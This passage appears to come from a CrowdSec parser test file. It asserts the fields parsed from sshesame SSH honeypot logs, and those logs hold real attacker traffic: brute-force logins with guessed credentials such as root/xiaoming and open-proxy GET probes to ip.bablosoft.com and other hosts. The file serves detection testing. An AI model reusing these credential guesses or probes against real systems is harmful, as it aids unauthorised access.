results["s02-enrich"]["crowdsecurity/dateparse-enrich"][76].Evt.Meta["source_ip"] == "195.3.147.60" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][76].Evt.Meta["timestamp"] == "2022-05-06T12:39:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][76].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][76].Evt.Enriched["MarshaledTime"] == "2022-05-06T12:39:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][77].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][77].Evt.Parsed["message"] == "2022/05/06 12:58:50 [190.2.139.67:7117] [channel 141] input: \"GET /?requestid=72371 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][77].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][77].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][77].Evt.Parsed["sshesame_input"] == "GET /?requestid=72371 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][77].Evt.Parsed["timestamp"] == "2022/05/06 12:58:50" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][77].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][77].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][77].Evt.Meta["timestamp"] == "2022-05-06T12:58:50Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][77].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][77].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][77].Evt.Meta["input"] == "GET /?requestid=72371 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][77].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][77].Evt.Enriched["MarshaledTime"] == "2022-05-06T12:58:50Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][78].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][78].Evt.Parsed["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][78].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][78].Evt.Parsed["timestamp"] == "2022/05/06 12:59:04" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][78].Evt.Parsed["message"] == "2022/05/06 12:59:04 [45.82.65.44:42736] [channel 30] input: \"GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][78].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][78].Evt.Meta["input"] == "GET / HTTP/1.1\\r\\nHost: omegle.com\\r\\nConnection: close\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][78].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][78].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][78].Evt.Meta["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][78].Evt.Meta["timestamp"] == "2022-05-06T12:59:04Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][78].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][78].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][78].Evt.Enriched["MarshaledTime"] == "2022-05-06T12:59:04Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][79].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][79].Evt.Parsed["sshesame_input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][79].Evt.Parsed["timestamp"] == "2022/05/06 12:59:05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][79].Evt.Parsed["message"] == "2022/05/06 12:59:05 [45.82.65.44:42736] [channel 30] input: \"GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][79].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][79].Evt.Parsed["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][79].Evt.Meta["timestamp"] == "2022-05-06T12:59:05Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][79].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][79].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][79].Evt.Meta["input"] == "GET http://omegle.com/ HTTP/1.1\\r\\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\\r\\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][79].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][79].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][79].Evt.Meta["source_ip"] == "45.82.65.44" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][79].Evt.Enriched["MarshaledTime"] == "2022-05-06T12:59:05Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][80].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][80].Evt.Parsed["message"] == "2022/05/06 13:09:34 [190.2.139.67:58629] [channel 143] input: \"GET /?requestid=12627 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][80].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][80].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][80].Evt.Parsed["sshesame_input"] == "GET /?requestid=12627 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][80].Evt.Parsed["timestamp"] == "2022/05/06 13:09:34" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][80].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][80].Evt.Meta["timestamp"] == "2022-05-06T13:09:34Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][80].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][80].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][80].Evt.Meta["input"] == "GET /?requestid=12627 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][80].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][80].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][80].Evt.Enriched["MarshaledTime"] == "2022-05-06T13:09:34Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][81].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][81].Evt.Parsed["message"] == "2022/05/06 13:12:20 [190.2.139.67:58629] [channel 145] input: \"GET /?requestid=88211 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][81].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][81].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][81].Evt.Parsed["sshesame_input"] == "GET /?requestid=88211 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][81].Evt.Parsed["timestamp"] == "2022/05/06 13:12:20" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][81].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][81].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][81].Evt.Meta["input"] == "GET /?requestid=88211 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][81].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][81].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][81].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][81].Evt.Meta["timestamp"] == "2022-05-06T13:12:20Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][81].Evt.Enriched["MarshaledTime"] == "2022-05-06T13:12:20Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][82].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][82].Evt.Parsed["message"] == "2022/05/06 13:18:31 [193.105.134.95:13053] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][82].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][82].Evt.Parsed["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][82].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][82].Evt.Parsed["timestamp"] == "2022/05/06 13:18:31" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][82].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][82].Evt.Meta["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][82].Evt.Meta["timestamp"] == "2022-05-06T13:18:31Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][82].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][82].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][82].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][82].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][82].Evt.Enriched["MarshaledTime"] == "2022-05-06T13:18:31Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][83].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][83].Evt.Parsed["message"] == "2022/05/06 13:18:31 [193.105.134.95:13053] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][83].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][83].Evt.Parsed["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][83].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][83].Evt.Parsed["timestamp"] == "2022/05/06 13:18:31" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][83].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][83].Evt.Meta["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][83].Evt.Meta["timestamp"] == "2022-05-06T13:18:31Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][83].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][83].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][83].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][83].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][83].Evt.Enriched["MarshaledTime"] == "2022-05-06T13:18:31Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][84].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][84].Evt.Parsed["sshesame_user"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][84].Evt.Parsed["timestamp"] == "2022/05/06 13:25:40" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][84].Evt.Parsed["message"] == "2022/05/06 13:25:40 [144.22.213.51:55710] authentication for user \"admin\" with password \"1234567\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][84].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][84].Evt.Parsed["source_ip"] == "144.22.213.51" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][84].Evt.Parsed["sshesame_password"] == "1234567" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][84].Evt.Meta["source_ip"] == "144.22.213.51" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][84].Evt.Meta["target_user"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][84].Evt.Meta["timestamp"] == "2022-05-06T13:25:40Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][84].Evt.Meta["username"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][84].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][84].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][84].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][84].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][84].Evt.Enriched["MarshaledTime"] == "2022-05-06T13:25:40Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][85].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][85].Evt.Parsed["timestamp"] == "2022/05/06 13:48:37" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][85].Evt.Parsed["message"] == "2022/05/06 13:48:37 [193.105.134.95:49178] authentication for user \"admin\" with password \"aisadmin\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][85].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][85].Evt.Parsed["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][85].Evt.Parsed["sshesame_password"] == "aisadmin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][85].Evt.Parsed["sshesame_user"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][85].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][85].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][85].Evt.Meta["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][85].Evt.Meta["target_user"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][85].Evt.Meta["timestamp"] == "2022-05-06T13:48:37Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][85].Evt.Meta["username"] == "admin" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][85].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][85].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][85].Evt.Enriched["MarshaledTime"] == "2022-05-06T13:48:37Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][86].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][86].Evt.Parsed["message"] == "2022/05/06 13:48:37 [193.105.134.95:49178] [channel 0] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][86].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][86].Evt.Parsed["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][86].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][86].Evt.Parsed["timestamp"] == "2022/05/06 13:48:37" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][86].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][86].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][86].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][86].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][86].Evt.Meta["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][86].Evt.Meta["timestamp"] == "2022-05-06T13:48:37Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][86].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][86].Evt.Enriched["MarshaledTime"] == "2022-05-06T13:48:37Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][87].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][87].Evt.Parsed["message"] == "2022/05/06 13:48:37 [193.105.134.95:49178] [channel 1] input: \"GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][87].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][87].Evt.Parsed["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][87].Evt.Parsed["sshesame_input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][87].Evt.Parsed["timestamp"] == "2022/05/06 13:48:37" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][87].Evt.Meta["source_ip"] == "193.105.134.95" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][87].Evt.Meta["timestamp"] == "2022-05-06T13:48:37Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][87].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][87].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][87].Evt.Meta["input"] == "GET / HTTP/1.0\\r\\nHost: google.com\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][87].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][87].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][87].Evt.Enriched["MarshaledTime"] == "2022-05-06T13:48:37Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][88].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][88].Evt.Parsed["message"] == "2022/05/06 13:55:12 [190.2.139.67:58629] [channel 147] input: \"GET /?requestid=40353 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][88].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][88].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][88].Evt.Parsed["sshesame_input"] == "GET /?requestid=40353 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][88].Evt.Parsed["timestamp"] == "2022/05/06 13:55:12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][88].Evt.Meta["input"] == "GET /?requestid=40353 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][88].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][88].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][88].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][88].Evt.Meta["timestamp"] == "2022-05-06T13:55:12Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][88].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][88].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][88].Evt.Enriched["MarshaledTime"] == "2022-05-06T13:55:12Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][89].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][89].Evt.Parsed["message"] == "2022/05/06 13:59:17 [190.2.139.67:58629] [channel 149] input: \"GET /?requestid=27608 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][89].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][89].Evt.Parsed["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][89].Evt.Parsed["sshesame_input"] == "GET /?requestid=27608 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][89].Evt.Parsed["timestamp"] == "2022/05/06 13:59:17" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][89].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][89].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][89].Evt.Meta["input"] == "GET /?requestid=27608 HTTP/1.1\\r\\nHost: ip.bablosoft.com\\r\\nConnection: close\\r\\nAccept: */*\\r\\nConnection: close\\r\\n\\r\\n" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][89].Evt.Meta["log_type"] == "sshesame_input" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][89].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][89].Evt.Meta["source_ip"] == "190.2.139.67" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][89].Evt.Meta["timestamp"] == "2022-05-06T13:59:17Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][89].Evt.Enriched["MarshaledTime"] == "2022-05-06T13:59:17Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][90].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][90].Evt.Parsed["message"] == "2022/05/06 14:28:01 [43.154.53.163:58300] authentication for user \"root\" with password \"xiaoming\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][90].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][90].Evt.Parsed["source_ip"] == "43.154.53.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][90].Evt.Parsed["sshesame_password"] == "xiaoming" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][90].Evt.Parsed["sshesame_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][90].Evt.Parsed["timestamp"] == "2022/05/06 14:28:01" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][90].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][90].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][90].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][90].Evt.Meta["source_ip"] == "43.154.53.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][90].Evt.Meta["target_user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][90].Evt.Meta["timestamp"] == "2022-05-06T14:28:01Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][90].Evt.Meta["username"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][90].Evt.Meta["datasource_path"] == "sshesame.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][90].Evt.Enriched["MarshaledTime"] == "2022-05-06T14:28:01Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][91].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][91].Evt.Parsed["sshesame_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][91].Evt.Parsed["timestamp"] == "2022/05/06 14:28:04" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][91].Evt.Parsed["message"] == "2022/05/06 14:28:04 [43.154.53.163:58868] authentication for user \"nproc\" with password \"nproc\" accepted" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][91].Evt.Parsed["program"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][91].Evt.Parsed["source_ip"] == "43.154.53.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][91].Evt.Parsed["sshesame_password"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][91].Evt.Meta["log_type"] == "sshesame_login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][91].Evt.Meta["service"] == "sshesame" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][91].Evt.Meta["source_ip"] == "43.154.53.163" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][91].Evt.Meta["target_user"] == "nproc" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][91].Evt.Meta["timestamp"] == "2022-05-06T14:28:04Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][91].Evt.Meta["username"] == "nproc" 